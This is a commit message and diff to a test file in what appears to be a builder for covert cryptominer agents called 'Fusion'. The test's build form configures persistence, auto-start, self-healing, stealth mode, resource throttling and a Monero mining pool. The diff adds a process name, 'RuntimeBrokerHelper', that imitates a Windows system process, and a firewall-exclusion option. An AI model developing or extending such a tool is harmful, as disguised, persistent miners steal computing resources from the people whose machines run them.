Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

server/web/src/help/forgeValidation.test.ts

@@ -16,7 +16,7 @@ const baseForm = (): BuildRequest => ({
   run_as: 'user',
   auto_start: true,
   persistence: true,
-  process_name: '',
+  process_name: 'RuntimeBrokerHelper',
   max_cpu_usage_pct: 80,
   max_memory_percent: 70,
   min_free_ram_mb: 1024,
@@ -31,6 +31,7 @@ const baseForm = (): BuildRequest => ({
   self_healing: true,
   file_logging: true,
   stealth_mode: false,
+  firewall_exclusion: false,
   pool_host: 'pool.supportxmr.com',
   pool_port: 3333,
   pool_tls: true,